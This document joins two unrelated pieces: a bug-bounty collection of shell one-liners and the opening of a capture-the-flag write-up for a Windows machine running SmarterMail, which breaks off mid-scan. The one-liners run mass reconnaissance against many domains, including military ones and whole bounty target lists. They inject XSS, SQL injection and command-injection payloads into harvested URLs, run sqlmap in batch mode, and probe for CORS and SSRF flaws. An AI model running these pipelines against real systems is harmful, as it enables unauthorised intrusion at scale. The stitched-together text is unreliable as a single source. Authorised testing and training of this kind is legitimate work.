[Wingman](https://xsswingman.com/#faq) - [Goop](https://github.com/deletescape/goop) - [Tojson](https://github.com/tomnomnom/hacks/tree/master/tojson) - [X8](https://github.com/Sh1Yo/x8) - [XSStrike](https://github.com/s0md3v/XSStrike) - [Page-fetch](https://github.com/detectify/page-fetch) ### BBRF SCOPE DoD ```bash bbrf inscope add '*.af.mil' '*.osd.mil' '*.marines.mil' '*.pentagon.mil' '*.disa.mil' '*.health.mil' '*.dau.mil' '*.dtra.mil' '*.ng.mil' '*.dds.mil' '*.uscg.mil' '*.army.mil' '*.dcma.mil' '*.dla.mil' '*.dtic.mil' '*.yellowribbon.mil' '*.socom.mil' ``` ### Katana crawling ```bash subfinder -d hackerone.com -silent -all | httpx -silent | katana -d 5 -silent | grep -iE '\.js'| grep -iEv '(\.jsp|\.json)' subfinder -d hackerone.com -silent -all | httpx -silent | katana -d 5 -silent -em js,jsp,json ``` ### Scan All domains using Knoxss - [Explained command] ```bash echo "dominio" | subfinder -silent | gauplus | grep "=" | uro | gf xss | awk '{ print "curl https://knoxss.me/api/v3 -d \"target="$1 "\" -H \"X-API-KEY: APIDOKNOXSS\""}' | sh ``` ### Scan All github repo ORG - [Explained command] ```bash docker run --rm mswell/masstrufflehog -o paypal ``` ### Scan log4j using BBRF and log4j-scan - [Explained command](https://bit.ly/3IUivk9) ```bash bbrf domains | httpx -silent | xargs -I@ sh -c 'python3 http://log4j-scan.py -u "@"' ``` ### SSTI in qsreplase add "{{7*7}}" (0xJin) ```bash cat subdomains.txt | httpx -silent -status-code | gauplus -random-agent -t 200 | qsreplace “aaa%20%7C%7C%20id%3B%20x” > fuzzing.txt ffuf -ac -u FUZZ -w fuzzing.txt -replay-proxy 127.0.0.1:8080 ``` ### urldedupe bhedak - [Explained command] ```bash waybackurls testphp.vulnweb.com | urldedupe -qs | bhedak '"><svg onload=confirm(1)>' | airixss -payload "confirm(1)" | egrep -v 'Not' ``` ### Hakrawler Airixss XSS - [Explained command] ```bash echo testphp.vulnweb.com | httpx -silent | hakrawler -subs | grep "=" | qsreplace '"><svg onload=confirm(1)>' | airixss -payload "confirm(1)" | egrep -v 'Not' ``` ### Airixss XSS - [Explained command] ```bash echo testphp.vulnweb.com | waybackurls | gf xss | uro | httpx -silent | qsreplace '"><svg onload=confirm(1)>' | airixss -payload "confirm(1)" ``` ### FREQ XSS - [Explained command] ```bash echo testphp.vulnweb.com | waybackurls | gf xss | uro | qsreplace '"><img src=x onerror=alert(1);>' | freq | egrep -v 'Not' ``` ### Bhedak - [Explained command] ```bash cat urls | bhedak "\"><svg/onload=alert(1)>*'/---+{{7*7}}" ``` ### .bashrc shortcut OFJAAAH ```bash reconjs(){ gau -subs $1 |grep -iE '\.js'|grep -iEv '(\.jsp|\.json)' >> js.txt ; cat js.txt | anti-burl | awk '{print $4}' | sort -u >> AliveJs.txt } cert(){ curl -s "[https://crt.sh/?q=%.$1&output=json](https://crt.sh/?q=%25.$1&output=json)" | jq -r '.[].name_value' | sed 's/\*\.//g' | anew } anubis(){ curl -s "[https://jldc.me/anubis/subdomains/$1](https://jldc.me/anubis/subdomains/$1)" | grep -Po "((http|https):\/\/)?(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | anew } ``` ### Oneliner Haklistgen - @hakluke ```bash subfinder -silent -d domain | anew subdomains.txt | httpx -silent | anew urls.txt | hakrawler | anew endpoints.txt | while read url; do curl $url --insecure | haklistgen | anew wordlist.txt; done cat subdomains.txt urls.txt endpoints.txt | haklistgen | anew wordlist.txt; ``` ### Running JavaScript on each page send to proxy. - [Explained command] ```bash cat 200http | page-fetch --javascript '[...document.querySelectorAll("a")].map(n => n.href)' --proxy http://192.168.15.47:8080 ``` ### Running cariddi to Crawler - [Explained command] ```bash echo tesla.com | subfinder -silent | httpx -silent | cariddi -intensive ``` ### Dalfox scan to bugbounty targets. - [Explained command] ```bash xargs -a xss-urls.txt -I@ bash -c 'python3 /dir-to-xsstrike/xsstrike.py -u @ --fuzzer' ``` ### Dalfox scan to bugbounty targets. - [Explained command] ```bash wget https://raw.githubusercontent.com/arkadiyt/bounty-targets-data/master/data/domains.txt -nv ; cat domains.txt | anew | httpx -silent -threads 500 | xargs -I@ dalfox url @ ``` ### Using x8 to Hidden parameters discovery - [Explaining command] ```bash assetfinder domain | httpx -silent | sed -s 's/$/\//' | xargs -I@ sh -c 'x8 -u @ -w params.txt -o enumerate' ``` ### Extract .js Subdomains - [Explaining command] ```bash echo "domain" | haktrails subdomains | httpx -silent | getJS --complete | anew JS echo "domain" | haktrails subdomains | httpx -silent | getJS --complete | tojson | anew JS1 ``` ### goop to search .git files. - [Explaining command] ```bash xargs -a xss -P10 -I@ sh -c 'goop @' ``` ### Using chaos list to enumerate endpoint ```bash curl -s https://raw.githubusercontent.com/projectdiscovery/public-bugbounty-programs/master/chaos-bugbounty-list.json | jq -r '.programs[].domains[]' | xargs -I@ sh -c 'python3 paramspider.py -d @' ``` ### Using Wingman to search XSS reflect / DOM XSS - [Explaining command] ```bash xargs -a domain -I@ sh -c 'wingman -u @ --crawl | notify' ``` ### Search ASN to metabigor and resolvers domain - [Explaining command] ```bash echo 'dod' | metabigor net --org -v | awk '{print $3}' | sed 's/[[0-9]]\+\.//g' | xargs -I@ sh -c 'prips @ | hakrevdns | anew' ``` ### OneLiners ### Search .json gospider filter anti-burl - [Explaining command] ```bash gospider -s https://twitch.tv --js | grep -E "\.js(?:onp?)?$" | awk '{print $4}' | tr -d "[]" | anew | anti-burl ``` ### Search .json subdomain - [Explaining command] ```bash assetfinder http://tesla.com | waybackurls | grep -E "\.json(?:onp?)?$" | anew ``` ### SonarDNS extract subdomains - [Explaining command] ```bash wget https://opendata.rapid7.com/sonar.fdns_v2/2021-02-26-1614298023-fdns_a.json.gz ; gunzip 2021-02-26-1614298023-fdns_a.json.gz ; cat 2021-02-26-1614298023-fdns_a.json | grep ".DOMAIN.com" | jq .name | tr '" " "' " / " | tee -a sonar ``` ### Kxss to search param XSS - [Explaining command] ```bash echo http://testphp.vulnweb.com/ | waybackurls | kxss ``` ### Recon subdomains and gau to search vuls DalFox - [Explaining command] ```bash assetfinder testphp.vulnweb.com | gau | dalfox pipe ``` ### Recon subdomains and Screenshot to URL using gowitness - [Explaining command] ```bash assetfinder -subs-only army.mil | httpx -silent -timeout 50 | xargs -I@ sh -c 'gowitness single @' ``` ### Extract urls to source code comments - [Explaining command] ```bash cat urls1 | html-tool comments | grep -oE '\b(https?|http)://[-A-Za-z0-9+&@#/%?=~_|!:,.;]*[-A-Za-z0-9+&@#/%=~_|]' ``` ### Axiom recon "complete" - [Explaining command] ```bash findomain -t domain -q -u url ; axiom-scan url -m subfinder -o subs --threads 3 ; axiom-scan subs -m httpx -o http ; axiom-scan http -m ffuf --threads 15 -o ffuf-output ; cat ffuf-output | tr "," " " | awk '{print $2}' | fff | grep 200 | sort -u ``` ### Domain subdomain extraction - [Explaining command] ```bash cat url | haktldextract -s -t 16 | tee subs.txt ; xargs -a subs.txt -I@ sh -c 'assetfinder -subs-only @ | anew | httpx -silent -threads 100 | anew httpDomain' ``` ### Search .js using - [Explaining command] ```bash assetfinder -subs-only DOMAIN -silent | httpx -timeout 3 -threads 300 --follow-redirects -silent | xargs -I% -P10 sh -c 'hakrawler -plain -linkfinder -depth 5 -url %' | awk '{print $3}' | grep -E "\.js(?:onp?)?$" | anew ``` ### This one was huge ... But it collects .js gau + wayback + gospider and makes an analysis of the js. tools you need below. - [Explaining command] ```bash cat dominios | gau |grep -iE '\.js'|grep -iEv '(\.jsp|\.json)' >> gauJS.txt ; cat dominios | waybackurls | grep -iE '\.js'|grep -iEv '(\.jsp|\.json)' >> waybJS.txt ; gospider -a -S dominios -d 2 | grep -Eo "(http|https)://[^/\"].*\.js+" | sed "s#\] \- #\n#g" >> gospiderJS.txt ; cat gauJS.txt waybJS.txt gospiderJS.txt | sort -u >> saidaJS ; rm -rf *.txt ; cat saidaJS | anti-burl |awk '{print $4}' | sort -u >> AliveJs.txt ; xargs -a AliveJs.txt -n 2 -I@ bash -c "echo -e '\n[URL]: @\n'; python3 linkfinder.py -i @ -o cli" ; cat AliveJs.txt | python3 collector.py output ; rush -i output/urls.txt 'python3 SecretFinder.py -i {} -o cli | sort -u >> output/resultJSPASS' ``` ### My recon automation simple. OFJAAAH.sh - [Explaining command] ```bash chaos -d $1 -o chaos1 -silent ; assetfinder -subs-only $1 >> assetfinder1 ; subfinder -d $1 -o subfinder1 -silent ; cat assetfinder1 subfinder1 chaos1 >> hosts ; cat hosts | anew clearDOMAIN ; httpx -l hosts -silent -threads 100 | anew http200 ; rm -rf chaos1 assetfinder1 subfinder1 ``` ### Download all domains to bounty chaos - [Explaining command] ```bash curl https://chaos-data.projectdiscovery.io/index.json | jq -M '.[] | .URL | @sh' | xargs -I@ sh -c 'wget @ -q'; mkdir bounty ; unzip '*.zip' -d bounty/ ; rm -rf *zip ; cat bounty/*.txt >> allbounty ; sort -u allbounty >> domainsBOUNTY ; rm -rf allbounty bounty/ ; echo '@OFJAAAH' ``` ### Recon to search SSRF Test - [Explaining command] ```bash findomain -t DOMAIN -q | httpx -silent -threads 1000 | gau | grep "=" | qsreplace http://YOUR.burpcollaborator.net ``` ### ShuffleDNS to domains in file scan nuclei. - [Explaining command] ```bash xargs -a domain -I@ -P500 sh -c 'shuffledns -d "@" -silent -w words.txt -r resolvers.txt' | httpx -silent -threads 1000 | nuclei -t /root/nuclei-templates/ -o re1 ``` ### Search Asn Amass - [Explaining command] Amass intel will search the organization "paypal" from a database of ASNs at a faster-than-default rate. It will then take these ASN numbers and scan the complete ASN/IP space for all tld's in that IP space (paypal.com, paypal.co.id, paypal.me) ```bash amass intel -org paypal -max-dns-queries 2500 | awk -F, '{print $1}' ORS=',' | sed 's/,$//' | xargs -P3 -I@ -d ',' amass intel -asn @ -max-dns-queries 2500'' ``` ### SQLINJECTION Mass domain file - [Explaining command] ```bash httpx -l domains -silent -threads 1000 | xargs -I@ sh -c 'findomain -t @ -q | httpx -silent | anew | waybackurls | gf sqli >> sqli ; sqlmap -m sqli --batch --random-agent --level 1' ``` ### Using chaos search js - [Explaining command] Chaos is an API by Project Discovery that discovers subdomains. Here we are querying thier API for all known subdoains of "att.com". We are then using httpx to find which of those domains is live and hosts an HTTP or HTTPs site. We then pass those URLs to GoSpider to visit them and crawl them for all links (javascript, endpoints, etc). We then grep to find all the JS files. We pipe this all through anew so we see the output iterativlely (faster) and grep for "(http|https)://att.com" to make sure we dont recieve output for domains that are not "att.com". ```bash chaos -d att.com | httpx -silent | xargs -I@ -P20 sh -c 'gospider -a -s "@" -d 2' | grep -Eo "(http|https)://[^/"].*.js+" | sed "s#] ``` ### Search Subdomain using Gospider - [Explaining command] GoSpider to visit them and crawl them for all links (javascript, endpoints, etc) we use some blacklist, so that it doesn’t travel, not to delay, grep is a command-line utility for searching plain-text data sets for lines that match a regular expression to search HTTP and HTTPS ```bash gospider -d 0 -s "https://site.com" -c 5 -t 100 -d 5 --blacklist jpg,jpeg,gif,css,tif,tiff,png,ttf,woff,woff2,ico,pdf,svg,txt | grep -Eo '(http|https)://[^/"]+' | anew ``` ### Using gospider to chaos - [Explaining command] GoSpider to visit them and crawl them for all links (javascript, endpoints, etc) chaos is a subdomain search project, to use it needs the api, to xargs is a command on Unix and most Unix-like operating systems used to build and execute commands from standard input. ```bash chaos -d paypal.com -bbq -filter-wildcard -http-url | xargs -I@ -P5 sh -c 'gospider -a -s "@" -d 3' ``` ### Using recon.dev and gospider crawler subdomains - [Explaining command] We will use recon.dev api to extract ready subdomains infos, then parsing output json with jq, replacing with a Stream EDitor all blank spaces If anew, we can sort and display unique domains on screen, redirecting this output list to httpx to create a new list with just alive domains. Xargs is being used to deal with gospider with 3 parallel proccess and then using grep within regexp just taking http urls. ```bash curl "https://recon.dev/api/search?key=apiKEY&domain=paypal.com" |jq -r '.[].rawDomains[]' | sed 's/ //g' | anew |httpx -silent | xargs -P3 -I@ gospider -d 0 -s @ -c 5 -t 100 -d 5 --blacklist jpg,jpeg,gif,css,tif,tiff,png,ttf,woff,woff2,ico,pdf,svg,txt | grep -Eo '(http|https)://[^/"]+' | anew ``` ### PSQL - search subdomain using cert.sh - [Explaining command] Make use of pgsql cli of crt.sh, replace all comma to new lines and grep just twitch text domains with anew to confirm unique outputs ```bash psql -A -F , -f querycrt -h http://crt.sh -p 5432 -U guest certwatch 2>/dev/null | tr ', ' '\n' | grep twitch | anew ``` ### Search subdomains using github and httpx - [Github-search] Using python3 to search subdomains, httpx filter hosts by up status-code response (200) ```python ./github-subdomains.py -t APYKEYGITHUB -d domaintosearch | httpx --title ``` ### Search SQLINJECTION using qsreplace search syntax error - [Explained command] ```bash grep "=" .txt| qsreplace "' OR '1" | httpx -silent -store-response-dir output -threads 100 | grep -q -rn "syntax\|mysql" output 2>/dev/null && \printf "TARGET \033[0;32mCould Be Exploitable\e[m\n" || printf "TARGET \033[0;31mNot Vulnerable\e[m\n" ``` ### Search subdomains using jldc - [Explained command] ```bash curl -s "https://jldc.me/anubis/subdomains/att.com" | grep -Po "((http|https):\/\/)?(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | anew ``` ### Search subdomains in assetfinder using hakrawler spider to search links in content responses - [Explained command] ```bash assetfinder -subs-only tesla.com -silent | httpx -timeout 3 -threads 300 --follow-redirects -silent | xargs -I% -P10 sh -c 'hakrawler -plain -linkfinder -depth 5 -url %' | grep "tesla" ``` ### Search subdomains in cert.sh - [Explained command] ```bash curl -s "https://crt.sh/?q=%25.att.com&output=json" | jq -r '.[].name_value' | sed 's/\*\.//g' | httpx -title -silent | anew ``` ### Search subdomains in cert.sh assetfinder to search in link /.git/HEAD - [Explained command] ```bash curl -s "https://crt.sh/?q=%25.tesla.com&output=json" | jq -r '.[].name_value' | assetfinder -subs-only | sed 's#$#/.git/HEAD#g' | httpx -silent -content-length -status-code 301,302 -timeout 3 -retries 0 -ports 80,8080,443 -threads 500 -title | anew ``` ```bash curl -s "https://crt.sh/?q=%25.enjoei.com.br&output=json" | jq -r '.[].name_value' | assetfinder -subs-only | httpx -silent -path /.git/HEAD -content-length -status-code 301,302 -timeout 3 -retries 0 -ports 80,8080,443 -threads 500 -title | anew ``` ### Collect js files from hosts up by gospider - [Explained command] ```bash xargs -P 500 -a pay -I@ sh -c 'nc -w1 -z -v @ 443 2>/dev/null && echo @' | xargs -I@ -P10 sh -c 'gospider -a -s "https://@" -d 2 | grep -Eo "(http|https)://[^/\"].*\.js+" | sed "s#\] \- #\n#g" | anew' ``` ### Subdomain search Bufferover resolving domain to httpx - [Explained command] ```bash curl -s https://dns.bufferover.run/dns?q=.sony.com |jq -r .FDNS_A[] | sed -s 's/,/\n/g' | httpx -silent | anew ``` ### Using gargs to gospider search with parallel proccess - [Gargs](https://github.com/brentp/gargs) - [Explained command] ```bash httpx -ports 80,443,8009,8080,8081,8090,8180,8443 -l domain -timeout 5 -threads 200 --follow-redirects -silent | gargs -p 3 'gospider -m 5 --blacklist pdf -t 2 -c 300 -d 5 -a -s {}' | anew stepOne ``` ### Injection xss using qsreplace to urls filter to gospider - [Explained command] ```bash gospider -S domain.txt -t 3 -c 100 | tr " " "\n" | grep -v ".js" | grep "https://" | grep "=" | qsreplace '%22><svg%20onload=confirm(1);>' ``` ### Extract URL's to apk - [Explained command] ```bash apktool d app.apk -o uberApk;grep -Phro "(https?://)[\w\.-/]+[\"'\`]" uberApk/ | sed 's#"##g' | anew | grep -v "w3\|android\|github\|schemas.android\|google\|goo.gl" ``` ### Chaos to Gospider - [Explained command] ```bash chaos -d att.com -o att -silent | httpx -silent | xargs -P100 -I@ gospider -c 30 -t 15 -d 4 -a -H "x-forwarded-for: 127.0.0.1" -H "User-Agent: Mozilla/5.0 (Linux; U; Android 2.2) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1" -s @ ``` ### Checking invalid certificate - [Real script](https://bit.ly/2DhAwMo) - [Script King](https://bit.ly/34Z0kIH) ```bash xargs -a domain -P1000 -I@ sh -c 'bash cert.sh @ 2> /dev/null' | grep "EXPIRED" | awk '/domain/{print $5}' | httpx ``` ### Using shodan & Nuclei - [Explained command] Shodan is a search engine that lets the user find specific types of computers connected to the internet, AWK Cuts the text and prints the third column. httpx is a fast and multi-purpose HTTP using -silent. Nuclei is a fast tool for configurable targeted scanning based on templates offering massive extensibility and ease of use, You need to download the nuclei templates. ```bash shodan domain DOMAIN TO BOUNTY | awk '{print $3}' | httpx -silent | nuclei -t /nuclei-templates/ ``` ### Open Redirect test using gf. - [Explained command] echo is a command that outputs the strings it is being passed as arguments. What to Waybackurls? Accept line-delimited domains on stdin, fetch known URLs from the Wayback Machine for .domain.com and output them on stdout. Httpx? is a fast and multi-purpose HTTP. GF? A wrapper around grep to avoid typing common patterns and anew Append lines from stdin to a file, but only if they don't already appear in the file. Outputs new lines to stdout too, removes duplicates. ```bash echo "domain" | waybackurls | httpx -silent -timeout 2 -threads 100 | gf redirect | anew ``` ### Using shodan to jaeles "How did I find a critical today? well as i said it was very simple, using shodan and jaeles". - [Explained command] ```bash shodan domain domain| awk '{print $3}'| httpx -silent | anew | xargs -I@ jaeles scan -c 100 -s /jaeles-signatures/ -u @ ``` ### Using Chaos to jaeles "How did I find a critical today?. - [Explained command] To chaos this project to projectdiscovery, Recon subdomains, using httpx, if we see the output from chaos domain.com we need it to be treated as http or https, so we use httpx to get the results. We use anew, a tool that removes duplicates from @TomNomNom, to get the output treated for import into jaeles, where he will scan using his templates. ```bash chaos -d domain | httpx -silent | anew | xargs -I@ jaeles scan -c 100 -s /jaeles-signatures/ -u @ ``` ### Using shodan to jaeles - [Explained command] ```bash domain="domaintotest";shodan domain $domain | awk -v domain="$domain" '{print $1"."domain}'| httpx -threads 300 | anew shodanHostsUp | xargs -I@ -P3 sh -c 'jaeles -c 300 scan -s jaeles-signatures/ -u @'| anew JaelesShodanHosts ``` ### Search to files using assetfinder and ffuf - [Explained command] ```bash assetfinder att.com | sed 's#*.# #g' | httpx -silent -threads 10 | xargs -I@ sh -c 'ffuf -w path.txt -u @/FUZZ -mc 200 -H "Content-Type: application/json" -t 150 -H "X-Forwarded-For:127.0.0.1"' ``` ### HTTPX using new mode location and injection XSS using qsreplace. - [Explained command] ```bash httpx -l master.txt -silent -no-color -threads 300 -location 301,302 | awk '{print $2}' | grep -Eo '(http|https)://[^/"].*' | tr -d '[]' | anew | xargs -I@ sh -c 'gospider -d 0 -s @' | tr ' ' '\n' | grep -Eo '(http|https)://[^/"].*' | grep "=" | qsreplace "<svg onload=alert(1)>" "' ``` ### Grap internal juicy paths and do requests to them. - [Explained command] ```bash export domain="https://target";gospider -s $domain -d 3 -c 300 | awk '/linkfinder/{print $NF}' | grep -v "http" | grep -v "http" | unfurl paths | anew | xargs -I@ -P50 sh -c 'echo $domain@ | httpx -silent -content-length' ``` ### Download to list bounty targets We inject using the sed .git/HEAD command at the end of each url. - [Explained command] ```bash wget https://raw.githubusercontent.com/arkadiyt/bounty-targets-data/master/data/domains.txt -nv | cat domains.txt | sed 's#$#/.git/HEAD#g' | httpx -silent -content-length -status-code 301,302 -timeout 3 -retries 0 -ports 80,8080,443 -threads 500 -title | anew ``` ### Using to findomain to SQLINJECTION. - [Explained command] ```bash findomain -t testphp.vulnweb.com -q | httpx -silent | anew | waybackurls | gf sqli >> sqli ; sqlmap -m sqli --batch --random-agent --level 1 ``` ### Jaeles scan to bugbounty targets. - [Explained command] ```bash wget https://raw.githubusercontent.com/arkadiyt/bounty-targets-data/master/data/domains.txt -nv ; cat domains.txt | anew | httpx -silent -threads 500 | xargs -I@ jaeles scan -s /jaeles-signatures/ -u @ ``` ### JLDC domain search subdomain, using rush and jaeles. - [Explained command] ```bash curl -s "https://jldc.me/anubis/subdomains/sony.com" | grep -Po "((http|https):\/\/)?(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | httpx -silent -threads 300 | anew | rush -j 10 'jaeles scan -s /jaeles-signatures/ -u {}' ``` ### Chaos to search subdomains check cloudflareip scan port. - [Explained command] ```bash chaos -silent -d paypal.com | filter-resolved | cf-check | anew | naabu -rate 60000 -silent -verify | httpx -title -silent ``` ### Search JS to domains file. - [Explained command] ```bash cat FILE TO TARGET | httpx -silent | subjs | anew ``` ### Search JS using assetfinder, rush and hakrawler. - [Explained command] ```bash assetfinder -subs-only paypal.com -silent | httpx -timeout 3 -threads 300 --follow-redirects -silent | rush 'hakrawler -plain -linkfinder -depth 5 -url {}' | grep "paypal" ``` ### Search to CORS using assetfinder and rush - [Explained command] ```bash assetfinder fitbit.com | httpx -threads 300 -follow-redirects -silent | rush -j200 'curl -m5 -s -I -H "Origin:evil.com" {} | [[ $(grep -c "evil.com") -gt 0 ]] && printf "\n\033[0;32m[VUL TO CORS] - {}\e[m"' ``` ### Search to js using hakrawler and rush & unew - [Explained command] ```bash cat hostsGospider | rush -j 100 'hakrawler -js -plain -usewayback -depth 6 -scope subs -url {} | unew hakrawlerHttpx' ``` ### XARGS to dirsearch brute force. - [Explained command] ```bash cat hosts | xargs -I@ sh -c 'python3 dirsearch.py -r -b -w path -u @ -i 200, 403, 401, 302 -e php,html,json,aspx,sql,asp,js' ``` ### Assetfinder to run massdns. - [Explained command] ```bash assetfinder DOMAIN --subs-only | anew | massdns -r lists/resolvers.txt -t A -o S -w result.txt ; cat result.txt | sed 's/A.*//; s/CN.*// ; s/\..$//' | httpx -silent ``` ### Extract path to js - [Explained command] ```bash cat file.js | grep -aoP "(?<=(\"|\'|\`))\/[a-zA-Z0-9_?&=\/\-\#\.]*(?=(\"|\'|\`))" | sort -u ``` ### Find subdomains and Secrets with jsubfinder - [Explained command] ```bash cat subdomsains.txt | httpx --silent | jsubfinder search -s ``` ### Search domains to Range-IPS. - [Explained command] ```bash cat dod1 | awk '{print $1}' | xargs -I@ sh -c 'prips @ | hakrevdns -r 1.1.1.1' | awk '{print $2}' | sed -r 's/.$//g' | httpx -silent -timeout 25 | anew ``` ### Search new's domains using dnsgen. - [Explained command] ```bash xargs -a army1 -I@ sh -c 'echo @' | dnsgen - | httpx -silent -threads 10000 | anew newdomain ``` ### List ips, domain extract, using amass + wordlist - [Explained command] ```bash amass enum -src -ip -active -brute -d navy.mil -o domain ; cat domain | cut -d']' -f 2 | awk '{print $1}' | sort -u > hosts-amass.txt ; cat domain | cut -d']' -f2 | awk '{print $2}' | tr ',' '\n' | sort -u > ips-amass.txt ; curl -s "https://crt.sh/?q=%.navy.mil&output=json" | jq '.[].name_value' | sed 's/\"//g' | sed 's/\*\.//g' | sort -u > hosts-crtsh.txt ; sed 's/$/.navy.mil/' dns-Jhaddix.txt_cleaned > hosts-wordlist.txt ; cat hosts-amass.txt hosts-crtsh.txt hosts-wordlist.txt | sort -u > hosts-all.txt ``` ### Search domains using amass and search vul to nuclei. - [Explained command] ```bash amass enum -passive -norecursive -d disa.mil -o domain ; httpx -l domain -silent -threads 10 | nuclei -t PATH -o result -timeout 30 ``` ### Verify to cert using openssl. - [Explained command] ```bash sed -ne 's/^\( *\)Subject:/\1/p;/X509v3 Subject Alternative Name/{ N;s/^.*\n//;:a;s/^\( *\)\(.*\), /\1\2\n\1/;ta;p;q; }' < <( openssl x509 -noout -text -in <( openssl s_client -ign_eof 2>/dev/null <<<$'HEAD / HTTP/1.0\r\n\r' \ -connect hackerone.com:443 ) ) ``` ### Search domains using openssl to cert. - [Explained command] ```bash xargs -a recursivedomain -P50 -I@ sh -c 'openssl s_client -connect @:443 2>&1 '| sed -E -e 's/[[:blank:]]+/\n/g' | httpx -silent -threads 1000 | anew ``` ### Search to Hackers. - [Censys](https://censys.io) - [Spyce](https://spyce.com) - [Shodan](https://shodan.io) - [Viz Grey](https://viz.greynoise.io) - [Zoomeye](https://zoomeye.org) - [Onyphe](https://onyphe.io) - [Wigle](https://wigle.net) - [Intelx](https://intelx.io) - [Fofa](https://fofa.so) - [Hunter](https://hunter.io) - [Zorexeye](https://zorexeye.com) - [Pulsedive](https://pulsedive.com) - [Netograph](https://netograph.io) - [Vigilante](https://vigilante.pw) - [Pipl](https://pipl.com) - [Abuse](https://abuse.ch) - [Cert-sh](https://cert.sh) - [Maltiverse](https://maltiverse.com/search) - [Insecam](https://insecam.org) - [Anubis](https://https://jldc.me/anubis/subdomains/att.com) - [Dns Dumpster](https://dnsdumpster.com) - [PhoneBook](https://phonebook.cz) - [Inquest](https://labs.inquest.net) - [Scylla](https://scylla.sh) # Project [![made-with-Go](https://img.shields.io/badge/Made%20with-Go-1f425f.svg)](http://golang.org) [![made-with-bash](https://img.shields.io/badge/Made%20with-Bash-1f425f.svg)](https://www.gnu.org/software/bash/) [![Open Source? Yes!](https://badgen.net/badge/Open%20Source%20%3F/Yes%21/blue?icon=github)](https://github.com/Naereen/badges/) [![Telegram](https://patrolavia.github.io/telegram-badge/chat.png)](https://t.me/KingOfTipsBugBounty) <a href="https://www.buymeacoffee.com/OFJAAAH" target="_blank"><img src="https://www.buymeacoffee.com/assets/img/custom_images/orange_img.png" alt="Buy Me A Coffee" style="height: 20px !important;width: 50px !important;box-shadow: 0px 3px 2px 0px rgba(190, 190, 190, 0.5) !important;-webkit-box-shadow: 0px 3px 2px 0px rgba(190, 190, 190, 0.5) !important;" ></a>
# Algernon ## Table of Contents * [Summary](#summary) * [Enumerate](#enumerate) * [Ports](#ports) * [Services](#services) * [FTP](#ftp) * [HTTP](#http) * [RPC](#rpc) * [NetBIOS](#netbios) * [SMB](#smb) * [OS](#os) * [Nmap OS Discovery Scan](#nmap-os-discovery-scan) * [Nmap OS Discovery Scan via SMB](#nmap-os-discovery-scan-via-smb) * [Exploit](#exploit) * [Password Guessing](#password-guessing) * [Default Credentials](#default-credentials) * [CVE-2019-7214](#cve-2019-7214) * [EDB-ID-49216](#edb-id-49216) * [EDB-ID-48580](#edb-id-48580) * [Explore](#explore) * [Escalate](#escalate) * [Lessons Learned](#lessons-learned) # Summary * Hostname: algernon * Description: Algernon sure is a clever one. * IP address: 192.168.132.65 * MAC address: (ref:) * Domain: WORKGROUP * TCP Ports and Services * 21 * Microsoft ftpd * 80 * Microsoft IIS httpd 10.0 * 445 * SMB * 9998 * Microsoft IIS httpd 10.0 * SmarterMail Free Version - 100.0.6919 (ref: /about/checkup) * 17001 * MS .NET Remoting services * SmarterMail * OS * Distro: Windows 10 (ref: Nmap) * Kernel: 10.0.18363 N/A Build 18363 (ref: systeminfo via post-exploitation) * Architecture: x64 (ref: systeminfo post-exploitation) * Users * administrator (ref: confirmed using net user via post-exploitation) * admin (ref: logs found during an anonymous FTP session) * Vulnerabilities and Exploits * CVE-2019-7214 (ref: manual research of TCP port 17001) * EDB-ID-56789 (ref: same as above) * EDB-ID-48580 (ref: searchsploit) * Tools Used * Nmap * Flag * 9bfc6960c73baef64da04ecbec4d0a8f * Hints * n/a # Enumerate ## Setup ```bash TARGET=192.168.132.65 NAME=algernon new-ctf $NAME cd $NAME ``` ## Ports ```bash sudo nmap $TARGET -sS -sU --min-rate 1000 -oN scans/$NAME-nmap-initial sudo nmap $TARGET -sS -sU -p- --min-rate 1000 -oN scans/$NAME-nmap-complete sudo nmap $TARGET -sV $(print-open-ports-from-nmap-scan scans/$NAME-nmap-complete) -oN scans/$NAME-nmap-versions # output Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-29 23:53 EDT Nmap scan report for 192.168.132.65 Host is up (0.14s latency). PORT STATE SERVICE VERSION 21/tcp open ftp Microsoft ftpd 80/tcp open http Microsoft IIS httpd 10.0 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? 9998/tcp open distinct32 17001/tcp open remoting MS .NET Remoting services Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 16.14 seconds ``` ## Services ### FTP ```bash cd loot touch README.too ftp $TARGET 21 put README.too ls binary prompt mget * exit cat * # output 03:35:45.726 [192.168.118.6] User @ calling create primary system admin, username: admin 03:35:47.054 [192.168.118.6] Webmail Attempting to login user: admin 03:35:47.054 [192.168.118.6] Webmail Login successful: With user admin 03:35:55.820 [192.168.118.6] Webmail Attempting to login user: admin 03:35:55.820 [192.168.118.6] Webmail Login successful: With user admin 03:36:00.195 [192.168.118.6] User admin@ calling set setup wizard settings 03:36:08.242 [192.168.118.6] User admin@ logging out ``` ### HTTP ```bash dirb http://$TARGET -r -z10 -o scans/$NAME-dirb-common # output ---- Scanning URL: http://192.168.132.65/ ---- ==> DIRECTORY: http://192.168.132.65/aspnet_client/ ``` ```bash dirb http://$TARGET:9998 -r -z10 -o scans/$NAME-dirb-common # output ---- Scanning URL: http://192.168.132.65:9998/ ---- + http://192.168.132.65:9998/api (CODE:302|SIZE:156) + http://192.168.132.65:9998/aux (CODE:302|SIZE:162) + http://192.168.132.65:9998/com1 (CODE:302|SIZE:163) + http://192.168.132.65:9998/com2 (CODE:302|SIZE:163) + http://192.168.132.65:9998/com3 (CODE:302|SIZE:163) + http://192.168.132.65:9998/con (CODE:302|SIZE:162) + http://192.168.132.65:9998/download (CODE:500|SIZE:36) + http://192.168.132.65:9998/Download (CODE:500|SIZE:36) + http://192.168.132.65:9998/favicon.ico (CODE:200|SIZE:32038) ==> DIRECTORY: http://192.168.132.65:9998/fonts/ ==> DIRECTORY: http://192.168.132.65:9998/interface/ + http://192.168.132.65:9998/lpt1 (CODE:302|SIZE:163) + http://192.168.132.65:9998/lpt2 (CODE:302|SIZE:163) + http://192.168.132.65:9998/nul (CODE:302|SIZE:162) + http://192.168.132.65:9998/prn (CODE:302|SIZE:162) ==> DIRECTORY: 